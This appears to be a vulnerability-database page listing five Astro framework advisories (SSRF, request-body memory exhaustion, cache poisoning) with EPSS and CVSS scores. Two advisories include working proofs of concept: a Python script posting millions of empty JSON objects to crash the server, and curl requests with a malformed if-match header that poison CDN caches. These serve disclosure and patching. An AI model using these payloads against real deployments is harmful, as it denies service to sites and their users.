| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-b47j-p5et-rfem |
| vulnerability_id |
VCID-b47j-p5et-rfem |
| summary |
Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize
A bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-27829 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00076 |
| scoring_system |
epss |
| scoring_elements |
0.22915 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00076 |
| scoring_system |
epss |
| scoring_elements |
0.22969 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.00076 |
| scoring_system |
epss |
| scoring_elements |
0.23014 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00076 |
| scoring_system |
epss |
| scoring_elements |
0.23028 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-27829 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-27829, GHSA-cj9f-h6r6-4cx2
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-b47j-p5et-rfem |
|
| 1 |
| url |
VCID-c6g3-td4y-gbgj |
| vulnerability_id |
VCID-c6g3-td4y-gbgj |
| summary |
Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands
### Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
### Details
Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:
```js
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text(); // full body buffered into memory — no size limit
const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
```
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.
Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
### PoC
**Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.
The app does **not** use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
**Setup files:**
`package.json`:
```json
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}
```
`astro.config.mjs`:
```js
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
```
`src/pages/index.astro`:
```astro
---
---
<html>
<head><title>Astro App</title></head>
<body>
<h1>Hello</h1>
<p>Just a plain SSR page. No server islands.</p>
</body>
</html>
```
`Dockerfile`:
```dockerfile
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
```
`docker-compose.yml`:
```yaml
services:
astro:
build: .
ports:
- "4321:4321"
deploy:
resources:
limits:
memory: 256m
```
**Reproduction:**
```bash
# Build and start
docker compose up -d
# Verify server is running
curl http://localhost:4321/
# => 200 OK
```
`crash.py`:
```python
import requests
# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")
```
```
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)
$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
(empty — container was OOM killed)
```
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
### Impact
Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the `[name]` parameter works because the body is parsed before the name is validated. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-29772 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00026 |
| scoring_system |
epss |
| scoring_elements |
0.07838 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00026 |
| scoring_system |
epss |
| scoring_elements |
0.0778 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00026 |
| scoring_system |
epss |
| scoring_elements |
0.07823 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00026 |
| scoring_system |
epss |
| scoring_elements |
0.0785 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-29772 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-29772, GHSA-3rmj-9m5h-8fpv
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-c6g3-td4y-gbgj |
|
| 2 |
| url |
VCID-ecmk-efnj-nbfq |
| vulnerability_id |
VCID-ecmk-efnj-nbfq |
| summary |
Astro has Full-Read SSRF in error rendering via Host: header injection
Server-Side Rendered pages that return an error with a prerendered custom error page (eg. `404.astro` or `500.astro`) are vulnerable to SSRF. If the `Host:` header is changed to an attacker's server, it will be fetched on `/500.html` and they can redirect this to any internal URL to read the response body through the first request. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25545 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.05142 |
| scoring_system |
epss |
| scoring_elements |
0.90053 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.05142 |
| scoring_system |
epss |
| scoring_elements |
0.90048 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.05142 |
| scoring_system |
epss |
| scoring_elements |
0.9005 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.05142 |
| scoring_system |
epss |
| scoring_elements |
0.90052 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25545 |
|
| 1 |
|
| 2 |
| reference_url |
https://github.com/withastro/astro |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
8.6 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
|
| 1 |
| value |
6.9 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/withastro/astro |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25545, GHSA-qq67-mvv5-fw3g
|
| risk_score |
3.9 |
| exploitability |
0.5 |
| weighted_severity |
7.7 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-ecmk-efnj-nbfq |
|
| 3 |
| url |
VCID-jt7q-nwep-wbfb |
| vulnerability_id |
VCID-jt7q-nwep-wbfb |
| summary |
Astro: Cache Poisoning due to incorrect error handling when if-match header is malformed
### Summary
Requesting a static JS/CSS resource from the `_astro` path with an incorrect or malformed `if-match` header returns a `500` error with a one-year cache lifetime instead of `412` in some cases. As a result, all subsequent requests to that file — regardless of the `if-match` header — will be served a 5xx error instead of the file until the cache expires.
Sending an incorrect or malformed `if-match` header should always return a `412` error without any cache headers, which is not the current behavior.
### Affected Versions
- `astro@5.14.1`
- `@astrojs/node@9.4.4`
### Proof of Concept
Run the following command:
```
curl -s -o /dev/null -D - <host location>/_astro/_slug_.UTbyeVfw.css -H "if-match: xxx"
```
If a 5xx error is not returned, inspect the resources via the browser's web inspector and select another CSS/JS file to request until a 5xx error is returned. The behavior generally defaults to a 5xx response. Note that all static files are immutable, so the cache must be purged or disabled to reproduce reliably.
A response similar to the following is expected from CloudFront:
```
HTTP/2 500
content-type: text/html
content-length: 166541
date: Thu, 09 Apr 2026 12:53:08 GMT
last-modified: Wed, 21 Jan 2026 13:40:08 GMT
etag: "a68349e96c2faf8861c330aeb548441a"
x-amz-server-side-encryption: AES256
accept-ranges: bytes
server: AmazonS3
x-cache: Error from cloudfront
via: 1.1 3591be88662e5675a9dc1cc4e0a9c392.cloudfront.net (CloudFront)
x-amz-cf-pop: ZRH55-P2
x-amz-cf-id: Rg--RIYCKcA55GZqZXdvu-VTvpxBFFVzV4LBIcKq5pB_hktcrhYbKg==
```
The above is not the real server output but the AWS error response triggered when the pods return a 5xx. Below is the output of the same `curl` command issued directly against a pod in Kubernetes:
```
❯ curl -s -o /dev/null -D - -H "Host: tagesanzeiger.ch" 127.0.0.1:3333/_astro/InstallPrompt.astro_astro_type_script_index_0_lang.C0M4llHG.js -H "if-match: xxx"
HTTP/1.1 500 Internal Server Error
Cache-Control: public, max-age=31536000, immutable
Accept-Ranges: bytes
Last-Modified: Tue, 07 Apr 2026 07:08:03 GMT
ETag: W/"560-19d66c50c38"
Content-Type: text/javascript; charset=utf-8
Date: Tue, 07 Apr 2026 08:23:54 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
```
This demonstrates that the pod itself returns a `5xx` error instead of `412`. In addition, the response includes a `Cache-Control: public, max-age=31536000, immutable` header.
Because the testing setup configures `if-match` as part of the cache key, the exploit no longer affects the production application. Prior to that change, the CDN Point of Presence would become cache-poisoned, and any client visiting the affected pages without cached files through the same PoP would receive broken pages. This was reproduced by creating test URLs and visiting them in a browser only after triggering the exploit. The exploited resources returned `5xx` errors instead of the original CSS/JS content, breaking the application.
### Details
The findings were analyzed with an LLM, which identified the following file as the likely source: [serve-static.ts](https://github.com/withastro/astro/blob/main/packages/integrations/node/src/serve-static.ts)
```js
// Lines 129-153
let forwardError = false;
stream.on('error', (err) => {
if (forwardError) {
console.error(err.toString());
res.writeHead(500);
res.end('Internal server error');
return;
}
// File not found, forward to the SSR handler
ssr();
});
stream.on('headers', (_res: ServerResponse) => {
// assets in dist/_astro are hashed and should get the immutable header
if (normalizedPathname.startsWith(`/${app.manifest.assetsDir}/`)) {
// This is the "far future" cache header, used for static files whose name includes their digest hash.
// 1 year (31,536,000 seconds) is convention.
// Taken from https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable
_res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
}
});
stream.on('file', () => {
forwardError = true;
});
stream.pipe(res);
```
LLM analysis:
> `send` handles conditional request headers such as `If-Match` internally. When a file is found but the precondition fails (ETag mismatch), `send`:
>
> 1. Emits `file` (the file exists) → `forwardError = true`
> 2. Emits `headers` → `Cache-Control: public, max-age=31536000, immutable` is set on `res`
> 3. Emits `error` with a `PreconditionFailedError` (status 412)
>
> However, the error handler does not inspect the error's status code:
>
> ```js
> stream.on('error', (err) => {
> if (forwardError) {
> console.error(err.toString());
> res.writeHead(500); // ← always 500, regardless of the actual error
> res.end('Internal server error');
> return;
> }
> ssr();
> });
> ```
>
> Because `Cache-Control` was already set during the `headers` event, the response is sent as:
>
> ```
> HTTP/1.1 500 Internal Server Error
> Cache-Control: public, max-age=31536000, immutable
> ```
### Impact
**Cache Poisoning** — An attacker can force edge servers to cache an error page instead of the actual content, rendering one or more assets unavailable to legitimate users until the cache expires. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-41322 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00056 |
| scoring_system |
epss |
| scoring_elements |
0.17763 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00056 |
| scoring_system |
epss |
| scoring_elements |
0.17647 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00056 |
| scoring_system |
epss |
| scoring_elements |
0.17722 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00056 |
| scoring_system |
epss |
| scoring_elements |
0.17756 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-41322 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-41322, GHSA-c57f-mm3j-27q9
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-jt7q-nwep-wbfb |
|
| 4 |
| url |
VCID-mu7k-psez-uudf |
| vulnerability_id |
VCID-mu7k-psez-uudf |
| summary |
Astro has memory exhaustion DoS due to missing request body size limit in Server Actions
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-27729 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00164 |
| scoring_system |
epss |
| scoring_elements |
0.37082 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00164 |
| scoring_system |
epss |
| scoring_elements |
0.37121 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.00164 |
| scoring_system |
epss |
| scoring_elements |
0.37154 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00164 |
| scoring_system |
epss |
| scoring_elements |
0.37147 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-27729 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-27729, GHSA-jm64-8m5q-4qh8
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-mu7k-psez-uudf |
|
|
|---|